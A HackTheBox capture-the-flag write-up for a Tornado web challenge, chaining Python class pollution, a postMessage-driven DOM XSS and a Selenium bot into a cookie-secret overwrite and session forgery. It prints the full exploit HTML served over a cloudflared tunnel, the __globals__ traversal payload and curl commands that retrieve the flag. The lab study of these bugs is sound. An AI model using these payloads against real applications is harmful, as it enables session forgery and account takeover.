$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Target: http://154.57.164.69:31599
You have found a portal of the recently arising tornado malware, it appears to have some protections implemented but a bet was made between your peers that they are not enough. Will you win this bet?
Target: http://154.57.164.69:31599
Python Tornado web application with multiple vulnerabilities: Python class pollution in recursive dict merge function, DOM XSS via innerHTML + postMessage, and a Selenium bot that visits user-controlled URLs. The goal is to chain these to overwrite the cookie secret and forge a valid session cookie to access the flag.
/ — Index page (dashboard)/get_tornados — Returns list of tornado objects as JSON/update_tornado — Updates a tornado object. RESTRICTED TO LOCALHOST ONLY/report_tornado?ip=X — Makes a Selenium bot visit http://{ip}/agent_details/login — Login with username/password (passwords are random 32-byte hex)/stats — Returns flag if user has valid Tornado secure cookieThe update_tornados() function recursively merges a dict into an object using setattr:
def update_tornados(tornado, updated): for index, value in tornado.items(): if hasattr(updated, "__getitem__"): if updated.get(index) and type(value) == dict: update_tornados(value, updated.get(index)) else: updated[index] = value elif hasattr(updated, index) and type(value) == dict: update_tornados(value, getattr(updated, index)) else: setattr(updated, index, value)
By traversing __class__ → __init__ → __globals__, we can reach module-level globals and overwrite APP.settings.cookie_secret.
Frontend JS renders tornado data with innerHTML (XSS sink):
machineIdValue.innerHTML = tornado.machine_id; ipAddressValue.innerHTML = tornado.ip_address; status.innerHTML = tornado.status;
And listens for postMessage events without origin validation (XSS source):
window.addEventListener("message", (event) => { const tornado = event.data; if (!tornado.machine_id && !tornado.ip_address && !tornado.status) return; const listItem = createListItem(tornado); // renders with innerHTML tornadoList.appendChild(listItem); });
The /report_tornado?ip=X endpoint makes a Selenium bot visit http://{ip}/agent_details, allowing us to serve malicious content.
/report_tornadohttp://127.0.0.1:1337/machine_id field/update_tornado to overwrite cookie_secret/stats with forged cookie to get flagcloudflared tunnel --url http://localhost:8890 # Got: https://birth-adaptation-protein-protocols.trycloudflare.com
<html> <body> <h1>Agent Details</h1> <script> var target = 'http://127.0.0.1:1337'; // Direct fetch fails (mixed content), so use iframe approach: fetch(target + '/get_tornados', {mode: 'cors'}) .then(function(r) { return r.json(); }) .catch(function(e) { // Create iframe to localhost var iframe = document.createElement('iframe'); iframe.src = target + '/'; iframe.onload = function() { // XSS payload that runs in localhost context var xss = "fetch('/get_tornados').then(r=>r.json()).then(d=>{" + "var p={machine_id:d[0].machine_id," + "__class__:{__init__:{__globals__:{APP:{settings:{cookie_secret:'MYSECRET123'}}}}}};" + "fetch('/update_tornado',{method:'POST'," + "headers:{'Content-Type':'application/json'}," + "body:JSON.stringify(p)})})"; // Send postMessage with XSS in machine_id (rendered via innerHTML) var msg = { machine_id: '<img src=x onerror="' + xss + '">', ip_address: 'test', status: 'active' }; iframe.contentWindow.postMessage(msg, '*'); }; document.body.appendChild(iframe); }); </script> </body> </html>
Critical: The exploit file must be served with Content-Type: text/html for the browser to execute JavaScript.
curl -s "http://154.57.164.69:31599/report_tornado?ip=birth-adaptation-protein-protocols.trycloudflare.com"
The payload traverses the object graph:
{ "machine_id": "host-8693", "__class__": { "__init__": { "__globals__": { "APP": { "settings": { "cookie_secret": "MYSECRET123" } } } } } }
Traversal path:
TornadoObject → hasattr(obj, "__class__") = True → recurse into classTornadoObject class → hasattr(cls, "__init__") = True → recurse into method__init__ method → hasattr(method, "__globals__") = True → recurse into module globalsdict.get("APP") exists → recurse into Application objectAPP → hasattr(APP, "settings") = True → recurse into settings dictsettings["cookie_secret"] = "MYSECRET123" ✓from tornado.web import create_signed_value cookie = create_signed_value('MYSECRET123', 'user', '[email protected]', version=2) # Result: 2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578...
curl -s 'http://154.57.164.69:31599/stats' \ -b "user=2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578044e98f0d295c727a8d0f6e0df2ce4a1b6729f06b560143e677e7e145e" # {"success": {"type": "Success", "message": "HTB{REDACTED}"}}
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar